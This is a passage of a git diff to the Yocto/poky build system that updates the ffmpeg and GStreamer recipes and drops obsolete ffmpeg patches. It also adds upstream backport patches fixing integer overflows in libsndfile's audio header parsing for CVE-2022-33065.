-+ : "c" ((uint8_t)(-s))
-+ );
- return a;
- }
-
---
-2.41.0
-
diff --git a/poky/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libswscale-riscv-Fix-syntax-of-vsetvli.patch b/poky/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libswscale-riscv-Fix-syntax-of-vsetvli.patch
deleted file mode 100644
index 94e0ba6d10..0000000000
--- a/poky/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libswscale-riscv-Fix-syntax-of-vsetvli.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 85eefb65eb632d827e17a72518dd289dcd721084 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 2 Jul 2023 19:29:55 -0700
-Subject: [PATCH] libswscale/riscv: Fix syntax of vsetvli
-
-Add missing operand which clang complains about but gcc assumes it to be
-'m1' if not specifiied.
-
-Fixes building with clang
-| src/libswscale/riscv/rgb2rgb_rvv.S:88:25: error: operand must be e[8|16|32|64|128|256|512|1024],m[1|2|4|8|f2|f4|f8],[ta|tu],[ma|mu]
-| vsetvli t4, t3, e8, ta, ma
-| ^
-
-Upstream-Status: Submitted [https://ffmpeg.org/pipermail/ffmpeg-devel/2023-July/311514.html]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libswscale/riscv/rgb2rgb_rvv.S | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libswscale/riscv/rgb2rgb_rvv.S b/libswscale/riscv/rgb2rgb_rvv.S
-index 5626d90..bbdfdbe 100644
---- a/libswscale/riscv/rgb2rgb_rvv.S
-+++ b/libswscale/riscv/rgb2rgb_rvv.S
-@@ -85,7 +85,7 @@ func ff_interleave_bytes_rvv, zve32x
- mv t3, a3
- addi a4, a4, -1
- 2:
-- vsetvli t4, t3, e8, ta, ma
-+ vsetvli t4, t3, e8, m1, ta, ma
- sub t3, t3, t4
- vle8.v v8, (t0)
- add t0, t4, t0
---
-2.41.0
-
diff --git a/poky/meta/recipes-multimedia/ffmpeg/ffmpeg_6.0.bb b/poky/meta/recipes-multimedia/ffmpeg/ffmpeg_6.1.bb
index e65f80d64b..162eb414b1 100644
--- a/poky/meta/recipes-multimedia/ffmpeg/ffmpeg_6.0.bb
+++ b/poky/meta/recipes-multimedia/ffmpeg/ffmpeg_6.1.bb
@@ -22,11 +22,9 @@ LIC_FILES_CHKSUM = "file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://COPYING.LGPLv2.1;md5=bd7a443320af8c812e4c18d1b79df004 \
file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02"
-SRC_URI = "https://www.ffmpeg.org/releases/${BP}.tar.xz \
- file://0001-avcodec-x86-mathops-clip-constants-used-with-shift-i.patch \
- file://0001-libswscale-riscv-Fix-syntax-of-vsetvli.patch"
+SRC_URI = "https://www.ffmpeg.org/releases/${BP}.tar.xz"
-SRC_URI[sha256sum] = "57be87c22d9b49c112b6d24bc67d42508660e6b718b3db89c44e47e289137082"
+SRC_URI[sha256sum] = "488c76e57dd9b3bee901f71d5c95eaf1db4a5a31fe46a28654e837144207c270"
# https://nvd.nist.gov/vuln/detail/CVE-2023-39018
# https://github.com/bramp/ffmpeg-cli-wrapper/issues/291
@@ -151,7 +149,7 @@ do_configure() {
export TMPDIR="${B}/tmp"
mkdir -p ${B}/tmp
${S}/configure ${EXTRA_OECONF}
- sed -i -e "s,^X86ASMFLAGS=.*,& --debug-prefix-map=${S}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} --debug-prefix-map=${B}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR},g" ${B}/ffbuild/config.mak
+ sed -i -e "s,^X86ASMFLAGS=.*,& --debug-prefix-map=${S}=${TARGET_DBGSRC_DIR} --debug-prefix-map=${B}=${TARGET_DBGSRC_DIR},g" ${B}/ffbuild/config.mak
}
# patch out build host paths for reproducibility
diff --git a/poky/meta/recipes-multimedia/gstreamer/gst-devtools_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gst-devtools_1.22.7.bb
index 90bbd9c733..b545f020cf 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gst-devtools_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gst-devtools_1.22.7.bb
@@ -12,7 +12,7 @@ SRC_URI = "https://gstreamer.freedesktop.org/src/gst-devtools/gst-devtools-${PV}
file://0001-connect-has-a-different-signature-on-musl.patch \
"
-SRC_URI[sha256sum] = "8928560efaf16137c30285e718708e5d0bab0777eb4ef8127e0274e120d3d86b"
+SRC_URI[sha256sum] = "157cf93fb2741cf0c3dea731be3af2ffae703c9f2cd3c0c91b380fbc685eb9f9"
DEPENDS = "json-glib glib-2.0 glib-2.0-native gstreamer1.0 gstreamer1.0-plugins-base"
RRECOMMENDS:${PN} = "git"
diff --git a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.22.7.bb
index 8906556b44..7169223636 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.22.7.bb
@@ -12,7 +12,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=69333daa044cb77e486cc36129f7a770 \
"
SRC_URI = "https://gstreamer.freedesktop.org/src/gst-libav/gst-libav-${PV}.tar.xz"
-SRC_URI[sha256sum] = "7789e6408388a25f23cbf948cfc5c6230d735bbcd8b7f37f4a01c9e348a1e3a7"
+SRC_URI[sha256sum] = "1525b917141b895fe5cf618fe8867622b2528278a0286e9f727b5f37317daca1"
S = "${WORKDIR}/gst-libav-${PV}"
diff --git a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.22.7.bb
index 2579aa3d66..ad40cf5513 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.22.7.bb
@@ -10,7 +10,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
SRC_URI = "https://gstreamer.freedesktop.org/src/gst-omx/gst-omx-${PV}.tar.xz"
-SRC_URI[sha256sum] = "223833c42518ad7eb1923bb4dd3726809f59a66d6e9aaaa69cb29ad0750c8758"
+SRC_URI[sha256sum] = "d7a18ec47d40a472bd5cba2015e0be72b732f1699895398cec5cd8e6a3a53b44"
S = "${WORKDIR}/gst-omx-${PV}"
diff --git a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.22.7.bb
index 3db7ddff5f..b7d787b611 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.22.7.bb
@@ -10,7 +10,7 @@ SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-bad/gst-plugins-bad
file://0002-avoid-including-sys-poll.h-directly.patch \
file://0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch \
"
-SRC_URI[sha256sum] = "b4029cd2908a089c55f1d902a565d007495c95b1442d838485dc47fb12df7137"
+SRC_URI[sha256sum] = "c716f8dffa8fac3fb646941af1c6ec72fff05a045131311bf2d049fdc87bce2e"
S = "${WORKDIR}/gst-plugins-bad-${PV}"
diff --git a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.22.7.bb
index 1f67ca303a..3b8923e8f2 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.22.7.bb
@@ -11,7 +11,7 @@ SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-ba
file://0003-viv-fb-Make-sure-config.h-is-included.patch \
file://0002-ssaparse-enhance-SSA-text-lines-parsing.patch \
"
-SRC_URI[sha256sum] = "50f2b4d17c02eefe430bbefa8c5cd134b1be78a53c0f60e951136d96cf49fd4b"
+SRC_URI[sha256sum] = "62519e0d8f969ebf62a9a7996f2d23efdda330217a635f4a32c0bf1c71577468"
S = "${WORKDIR}/gst-plugins-base-${PV}"
diff --git a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.22.7.bb
index 6b76ba957e..b8496a1750 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.22.7.bb
@@ -8,7 +8,7 @@ SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-good/gst-plugins-go
file://0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch \
file://0001-v4l2-Define-ioctl_req_t-for-posix-linux-case.patch"
-SRC_URI[sha256sum] = "b3b07fe3f1ce7fe93aa9be7217866044548f35c4a7792280eec7e108a32f9817"
+SRC_URI[sha256sum] = "b6db0e18e398b52665b7cdce301c34a8750483d5f4fbac1ede9f80b03743cd15"
S = "${WORKDIR}/gst-plugins-good-${PV}"
diff --git a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.22.7.bb
index 77f79a630a..8a67531123 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.22.7.bb
@@ -14,7 +14,7 @@ LICENSE_FLAGS = "commercial"
SRC_URI = " \
https://gstreamer.freedesktop.org/src/gst-plugins-ugly/gst-plugins-ugly-${PV}.tar.xz \
"
-SRC_URI[sha256sum] = "3e31454c98cb2f7f6d2d355eceb933a892fa0f1dc09bc36c9abc930d8e29ca48"
+SRC_URI[sha256sum] = "520b46bca637189ad86a298ff245b2d89375dbcac8b05d74daea910f81a9e9da"
S = "${WORKDIR}/gst-plugins-ugly-${PV}"
diff --git a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.22.7.bb
index addf12c427..a387031635 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.22.7.bb
@@ -8,7 +8,7 @@ LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=c34deae4e395ca07e725ab0076a5f740"
SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "51de2d6d13b12ce095eac97c0b94ee59c2aeba3712bb7462b78c4d57dde176c5"
+SRC_URI[sha256sum] = "1ef8df7608012fa469329799c950ec087737a6dabad3003c230658b58c710172"
DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base python3-pygobject"
RDEPENDS:${PN} += "gstreamer1.0 gstreamer1.0-plugins-base python3-pygobject"
diff --git a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.22.7.bb
index fd79fe4324..af1c2ced44 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.22.7.bb
@@ -10,7 +10,7 @@ PNREAL = "gst-rtsp-server"
SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "0ae33a8b50443b62f11581a9181e906b41cd3877b2d799dbea72912c3eda4bb3"
+SRC_URI[sha256sum] = "f7fac001e20ad21e36d18397741c4657c5d43571eb1cc3b49f9a93ae127dc88f"
S = "${WORKDIR}/${PNREAL}-${PV}"
diff --git a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.22.7.bb
index bf4c105057..4cad50742d 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.22.7.bb
@@ -11,7 +11,7 @@ LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
SRC_URI = "https://gstreamer.freedesktop.org/src/${REALPN}/${REALPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "d9ba2fc26bef98c78e982c599f585d46bbb65fe122da89c2d7ab41f468a52c7b"
+SRC_URI[sha256sum] = "0e9fff768b89de6d318b34146e4e781d82b9a0f4025dc541b2c8349c7bcb7f67"
S = "${WORKDIR}/${REALPN}-${PV}"
DEPENDS = "libva gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad"
diff --git a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.22.6.bb b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.22.7.bb
index a898464322..72161b272f 100644
--- a/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.22.6.bb
+++ b/poky/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.22.7.bb
@@ -22,7 +22,7 @@ SRC_URI = "https://gstreamer.freedesktop.org/src/gstreamer/gstreamer-${PV}.tar.x
file://0003-tests-use-a-dictionaries-for-environment.patch;striplevel=3 \
file://0004-tests-add-helper-script-to-run-the-installed_tests.patch;striplevel=3 \
"
-SRC_URI[sha256sum] = "f500e6cfddff55908f937711fc26a0840de28a1e9ec49621c0b6f1adbd8f818e"
+SRC_URI[sha256sum] = "01e42c6352a06bdfa4456e64b06ab7d98c5c487a25557c761554631cbda64217"
PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)} \
check \
diff --git a/poky/meta/recipes-multimedia/libsndfile/libsndfile1/cve-2022-33065.patch b/poky/meta/recipes-multimedia/libsndfile/libsndfile1/cve-2022-33065.patch
new file mode 100644
index 0000000000..fa4b2fc08b
--- /dev/null
+++ b/poky/meta/recipes-multimedia/libsndfile/libsndfile1/cve-2022-33065.patch
@@ -0,0 +1,739 @@
+From c7ce5b0ebeeb58934825077d1324960aa0747718 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Tue, 10 Oct 2023 16:10:34 -0400
+Subject: [PATCH] mat4/mat5: fix int overflow in dataend calculation
+
+The clang sanitizer warns of a possible signed integer overflow when
+calculating the `dataend` value in `mat4_read_header()`.
+
+```
+src/mat4.c:323:41: runtime error: signed integer overflow: 205 * -100663296 cannot be represented in type 'int'
+SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/mat4.c:323:41 in
+src/mat4.c:323:48: runtime error: signed integer overflow: 838860800 * 4 cannot be represented in type 'int'
+SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/mat4.c:323:48 in
+```
+
+Cast the offending `rows` and `cols` ints to `sf_count_t` (the type of
+`dataend` before performing the calculation, to avoid the issue.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/789
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Upstream-Status: Backport [9a829113c88a51e57c1e46473e90609e4b7df151]
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/mat4.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/mat4.c b/src/mat4.c
+index 0b1b414b..575683ba 100644
+--- a/src/mat4.c
++++ b/src/mat4.c
+@@ -320,7 +320,7 @@ mat4_read_header (SF_PRIVATE *psf)
+ psf->filelength - psf->dataoffset, psf->sf.channels * psf->sf.frames * psf->bytewidth) ;
+ }
+ else if ((psf->filelength - psf->dataoffset) > psf->sf.channels * psf->sf.frames * psf->bytewidth)
+- psf->dataend = psf->dataoffset + rows * cols * psf->bytewidth ;
++ psf->dataend = psf->dataoffset + (sf_count_t) rows * (sf_count_t) cols * psf->bytewidth ;
+
+ psf->datalength = psf->filelength - psf->dataoffset - psf->dataend ;
+
+From 842303f984b2081481e74cb84a9a24ecbe3dec1a Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 16:36:02 -0400
+Subject: [PATCH] au: avoid int overflow while calculating data_end
+
+At several points in au_read_header(), we calculate the functional end
+of the data segment by adding the (int)au_fmt.dataoffset and the
+(int)au_fmt.datasize. This can overflow the implicit int_32 return value
+and cause undefined behavior.
+
+Instead, precalculate the value and assign it to a 64-bit
+(sf_count_t)data_end variable.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/au.c | 10 ++++++----
+ 1 file changed, 6 insertions(+), 4 deletions(-)
+
+diff --git a/src/au.c b/src/au.c
+index 62bd691d..f68f2587 100644
+--- a/src/au.c
++++ b/src/au.c
+@@ -291,6 +291,7 @@ static int
+ au_read_header (SF_PRIVATE *psf)
+ { AU_FMT au_fmt ;
+ int marker, dword ;
++ sf_count_t data_end ;
+
+ memset (&au_fmt, 0, sizeof (au_fmt)) ;
+ psf_binheader_readf (psf, "pm", 0, &marker) ;
+@@ -317,14 +318,15 @@ au_read_header (SF_PRIVATE *psf)
+ return SFE_AU_EMBED_BAD_LEN ;
+ } ;
+
++ data_end = (sf_count_t) au_fmt.dataoffset + (sf_count_t) au_fmt.datasize ;
+ if (psf->fileoffset > 0)
+- { psf->filelength = au_fmt.dataoffset + au_fmt.datasize ;
++ { psf->filelength = data_end ;
+ psf_log_printf (psf, " Data Size : %d\n", au_fmt.datasize) ;
+ }
+- else if (au_fmt.datasize == -1 || au_fmt.dataoffset + au_fmt.datasize == psf->filelength)
++ else if (au_fmt.datasize == -1 || data_end == psf->filelength)
+ psf_log_printf (psf, " Data Size : %d\n", au_fmt.datasize) ;
+- else if (au_fmt.dataoffset + au_fmt.datasize < psf->filelength)
+- { psf->filelength = au_fmt.dataoffset + au_fmt.datasize ;
++ else if (data_end < psf->filelength)
++ { psf->filelength = data_end ;
+ psf_log_printf (psf, " Data Size : %d\n", au_fmt.datasize) ;
+ }
+ else
+From 0754d3380a54e3fbdde0f684b88955c80c79f58f Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 16:46:29 -0400
+Subject: [PATCH] avr: fix int overflow in avr_read_header()
+
+Pre-cast hdr.frames to sf_count_t, to provide the calculation with
+enough numeric space to avoid an int-overflow.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/avr.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/avr.c b/src/avr.c
+index 6c78ff69..1bc1ffc9 100644
+--- a/src/avr.c
++++ b/src/avr.c
+@@ -162,7 +162,7 @@ avr_read_header (SF_PRIVATE *psf)
+ psf->endian = SF_ENDIAN_BIG ;
+
+ psf->dataoffset = AVR_HDR_SIZE ;
+- psf->datalength = hdr.frames * (hdr.rez / 8) ;
++ psf->datalength = (sf_count_t) hdr.frames * (hdr.rez / 8) ;
+
+ if (psf->fileoffset > 0)
+ psf->filelength = AVR_HDR_SIZE + psf->datalength ;
+From 6ac31a68a614e2bba4a05b54e5558d6270c98376 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 16:54:21 -0400
+Subject: [PATCH] sds: fix int overflow warning in sample calculations
+
+The sds_*byte_read() functions compose their uint_32 sample buffers by
+shifting 7bit samples into a 32bit wide buffer, and adding them
+together. Because the 7bit samples are stored in 32bit ints, code
+fuzzers become concerned that the addition operation can overflow and
+cause undefined behavior.
+
+Instead, bitwise-OR the bytes together - which should accomplish the
+same arithmetic operation, without risking an int-overflow.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+
+Do the same for the 3byte and 4byte read functions.
+---
+ src/sds.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/sds.c b/src/sds.c
+index 6bc76171..2a0f164c 100644
+--- a/src/sds.c
++++ b/src/sds.c
+@@ -454,7 +454,7 @@ sds_2byte_read (SF_PRIVATE *psf, SDS_PRIVATE *psds)
+
+ ucptr = psds->read_data + 5 ;
+ for (k = 0 ; k < 120 ; k += 2)
+- { sample = arith_shift_left (ucptr [k], 25) + arith_shift_left (ucptr [k + 1], 18) ;
++ { sample = arith_shift_left (ucptr [k], 25) | arith_shift_left (ucptr [k + 1], 18) ;
+ psds->read_samples [k / 2] = (int) (sample - 0x80000000) ;
+ } ;
+
+@@ -498,7 +498,7 @@ sds_3byte_read (SF_PRIVATE *psf, SDS_PRIVATE *psds)
+
+ ucptr = psds->read_data + 5 ;
+ for (k = 0 ; k < 120 ; k += 3)
+- { sample = (((uint32_t) ucptr [k]) << 25) + (ucptr [k + 1] << 18) + (ucptr [k + 2] << 11) ;
++ { sample = (((uint32_t) ucptr [k]) << 25) | (ucptr [k + 1] << 18) | (ucptr [k + 2] << 11) ;
+ psds->read_samples [k / 3] = (int) (sample - 0x80000000) ;
+ } ;
+
+@@ -542,7 +542,7 @@ sds_4byte_read (SF_PRIVATE *psf, SDS_PRIVATE *psds)
+
+ ucptr = psds->read_data + 5 ;
+ for (k = 0 ; k < 120 ; k += 4)
+- { sample = (((uint32_t) ucptr [k]) << 25) + (ucptr [k + 1] << 18) + (ucptr [k + 2] << 11) + (ucptr [k + 3] << 4) ;
++ { sample = (((uint32_t) ucptr [k]) << 25) | (ucptr [k + 1] << 18) | (ucptr [k + 2] << 11) | (ucptr [k + 3] << 4) ;
+ psds->read_samples [k / 4] = (int) (sample - 0x80000000) ;
+ } ;
+
+From 96428e1dd4998f1cd47df24f8fe9b0da35d7b947 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 17:26:51 -0400
+Subject: [PATCH] aiff: fix int overflow when counting header elements
+
+aiff_read_basc_chunk() tries to count the AIFF header size by keeping
+track of the bytes returned by psf_binheader_readf(). Though improbable,
+it is technically possible for these added bytes to exceed the int-sized
+`count` accumulator.
+
+Use a 64-bit sf_count_t type for `count`, to ensure that it always has
+enough numeric space.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/aiff.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/aiff.c b/src/aiff.c
+index a2bda8f4..6b244302 100644
+--- a/src/aiff.c
++++ b/src/aiff.c
+@@ -1702,7 +1702,7 @@ static int
+ aiff_read_basc_chunk (SF_PRIVATE * psf, int datasize)
+ { const char * type_str ;
+ basc_CHUNK bc ;
+- int count ;
++ sf_count_t count ;
+
+ count = psf_binheader_readf (psf, "E442", &bc.version, &bc.numBeats, &bc.rootNote) ;
+ count += psf_binheader_readf (psf, "E222", &bc.scaleType, &bc.sigNumerator, &bc.sigDenominator) ;
+From b352c350d35bf978e4d3a32e5d9df1f2284445f4 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 17:43:02 -0400
+Subject: [PATCH] ircam: fix int overflow in ircam_read_header()
+
+When reading the IRCAM header, it is possible for the calculated
+blockwidth to exceed the bounds of a signed int32.
+
+Use a 64bit sf_count_t to store the blockwidth.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/common.h | 2 +-
+ src/ircam.c | 10 +++++-----
+ 2 files changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/src/common.h b/src/common.h
+index d92eabde..5369cb67 100644
+--- a/src/common.h
++++ b/src/common.h
+@@ -439,7 +439,7 @@ typedef struct sf_private_tag
+ sf_count_t datalength ; /* Length in bytes of the audio data. */
+ sf_count_t dataend ; /* Offset to file tailer. */
+
+- int blockwidth ; /* Size in bytes of one set of interleaved samples. */
++ sf_count_t blockwidth ; /* Size in bytes of one set of interleaved samples. */
+ int bytewidth ; /* Size in bytes of one sample (one channel). */
+
+ void *dither ;
+diff --git a/src/ircam.c b/src/ircam.c
+index 8e7cdba8..3d73ba44 100644
+--- a/src/ircam.c
++++ b/src/ircam.c
+@@ -171,35 +171,35 @@ ircam_read_header (SF_PRIVATE *psf)
+ switch (encoding)
+ { case IRCAM_PCM_16 :
+ psf->bytewidth = 2 ;
+- psf->blockwidth = psf->sf.channels * psf->bytewidth ;
++ psf->blockwidth = (sf_count_t) psf->sf.channels * psf->bytewidth ;
+
+ psf->sf.format = SF_FORMAT_IRCAM | SF_FORMAT_PCM_16 ;
+ break ;
+
+ case IRCAM_PCM_32 :
+ psf->bytewidth = 4 ;
+- psf->blockwidth = psf->sf.channels * psf->bytewidth ;
++ psf->blockwidth = (sf_count_t) psf->sf.channels * psf->bytewidth ;
+
+ psf->sf.format = SF_FORMAT_IRCAM | SF_FORMAT_PCM_32 ;
+ break ;
+
+ case IRCAM_FLOAT :
+ psf->bytewidth = 4 ;
+- psf->blockwidth = psf->sf.channels * psf->bytewidth ;
++ psf->blockwidth = (sf_count_t) psf->sf.channels * psf->bytewidth ;
+
+ psf->sf.format = SF_FORMAT_IRCAM | SF_FORMAT_FLOAT ;
+ break ;
+
+ case IRCAM_ALAW :
+ psf->bytewidth = 1 ;
+- psf->blockwidth = psf->sf.channels * psf->bytewidth ;
++ psf->blockwidth = (sf_count_t) psf->sf.channels * psf->bytewidth ;
+
+ psf->sf.format = SF_FORMAT_IRCAM | SF_FORMAT_ALAW ;
+ break ;
+
+ case IRCAM_ULAW :
+ psf->bytewidth = 1 ;
+- psf->blockwidth = psf->sf.channels * psf->bytewidth ;
++ psf->blockwidth = (sf_count_t) psf->sf.channels * psf->bytewidth ;
+
+ psf->sf.format = SF_FORMAT_IRCAM | SF_FORMAT_ULAW ;
+ break ;
+From 3bcd291e57867f88f558fa6f80990e84311df78c Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 16:12:22 -0400
+Subject: [PATCH] mat4/mat5: fix int overflow when calculating blockwidth
+
+Pre-cast the components of the blockwidth calculation to sf_count_t to
+avoid overflowing integers during calculation.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/mat4.c | 2 +-
+ src/mat5.c | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/mat4.c b/src/mat4.c
+index 575683ba..9f046f0c 100644
+--- a/src/mat4.c
++++ b/src/mat4.c
+@@ -104,7 +104,7 @@ mat4_open (SF_PRIVATE *psf)
+
+ psf->container_close = mat4_close ;
+
+- psf->blockwidth = psf->bytewidth * psf->sf.channels ;
++ psf->blockwidth = (sf_count_t) psf->bytewidth * psf->sf.channels ;
+
+ switch (subformat)
+ { case SF_FORMAT_PCM_16 :
+diff --git a/src/mat5.c b/src/mat5.c
+index da5a6eca..20f0ea64 100644
+--- a/src/mat5.c
++++ b/src/mat5.c
+@@ -114,7 +114,7 @@ mat5_open (SF_PRIVATE *psf)
+
+ psf->container_close = mat5_close ;
+
+- psf->blockwidth = psf->bytewidth * psf->sf.channels ;
++ psf->blockwidth = (sf_count_t) psf->bytewidth * psf->sf.channels ;
+
+ switch (subformat)
+ { case SF_FORMAT_PCM_U8 :
+From c177e292d47ef73b1d3c1bb391320299a0ed2ff9 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Mon, 16 Oct 2023 12:37:47 -0400
+Subject: [PATCH] common: fix int overflow in psf_binheader_readf()
+
+The psf_binheader_readf() function attempts to count and return the
+number of bytes traversed in the header. During this accumulation, it is
+possible to overflow the int-sized byte_count variable.
+
+Avoid this overflow by checking that the accumulated bytes do not exceed
+INT_MAX and throwing an error if they do. This implies that files with
+multi-gigabyte headers threaten to produce this error, but I imagine
+those files don't really exist - and this error is better than the
+undefined behavior which would have resulted previously.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/common.c | 36 ++++++++++++++++++++++++------------
+ 1 file changed, 24 insertions(+), 12 deletions(-)
+
+diff --git a/src/common.c b/src/common.c
+index 1c3d951d..7f6cceca 100644
+--- a/src/common.c
++++ b/src/common.c
+@@ -18,6 +18,7 @@
+
+ #include <config.h>
+
++#include <limits.h>
+ #include <stdarg.h>
+ #include <string.h>
